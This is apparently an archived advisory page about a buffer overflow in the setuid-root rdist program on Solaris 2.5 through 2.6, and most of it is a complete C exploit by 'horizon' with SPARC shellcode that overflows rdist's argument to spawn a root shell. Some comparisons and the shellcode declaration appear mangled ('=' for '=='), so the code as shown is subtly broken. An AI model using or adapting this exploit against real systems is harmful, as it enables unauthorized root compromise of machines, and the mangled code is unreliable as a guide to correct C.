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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

RDist, a program that distributes files from one host to another, was found to be vulnerable to several buffer overflows that could be exploited in order to gain root access.

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Solaris 2.6, 2.5.1 and 2.5's rdist was found to be vulnerable to a buffer overflow, this is dangerous because rdist is setuid root. On other UNIX machines such as BSD and Linux this isn't a problem, even though the program exist there too, because rdist isn't setuid root.

An exploit code follows:
/* rdist solaris 2.* sploit */
/* by horizon. thanks to ktwo */
/* argv[1] is your offset */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH 1024
#define SAFETY 40 /* blind guess */
#define EXTRA 400
#define STACK_OFFSET 2360
#define SAFETY_OFFSET 248
#define SPARC_NOP 0xac15a16e

u_char sparc_shellcode[]
"\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08";

int addr_ok(long a)
{
if (((a>>24)&255)=0) return 0;
if (((a>>16)&255)=0) return 0;
if (((a>>8)&255)=0) return 0;
if (((a)&255)=0) return 0;
return 1;
}

u_long get_safe_addr(long sp)
{
return sp-SAFETY_OFFSET;
}

u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}

int main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA + 8];
char tempbuf[BUF_LENGTH + EXTRA + 8+6];

long stack,targ_addr,safe_addr;

u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode),dso=0;

if(argc > 1) dso=atoi(argv[1]);

stack=get_sp();

safe_addr=get_safe_addr(stack);
while(addr_ok(safe_addr)=0) safe_addr+=8;

targ_addr = stack + STACK_OFFSET - dso;
while(addr_ok(targ_addr)=0) targ_addr+=8;

long_p =(u_long *) buf ;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;

char_p = (u_char *) long_p;

for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];

*char_p++=' ';
*char_p++=' ';

for (i = 0; i < SAFETY /4; i++)
{
*char_p++ =(safe_addr>>24)&255;
*char_p++ =(safe_addr>>16)&255;
*char_p++ =(safe_addr>>8)&255;
*char_p++ =(safe_addr)&255;
}

for (i = 0; i < (EXTRA-SAFETY) /4; i++)
{
*char_p++ =(targ_addr>>24)&255;
*char_p++ =(targ_addr>>16)&255;
*char_p++ =(targ_addr>>8)&255;
*char_p++ =(targ_addr)&255;
}

*char_p++=0;

sprintf(tempbuf,"bleh=%s",&buf[2]);

printf("Stack address: 0x%lx. Safe address: 0x%lx (delta %d).\n",
stack,safe_addr,stack-safe_addr);
printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
execl("/bin/rdist","rdist","-d",tempbuf,"-c","/tmp/","${bleh}",(char *) 0);
perror("execl failed");
}

The exploit was found by: John McDonald.

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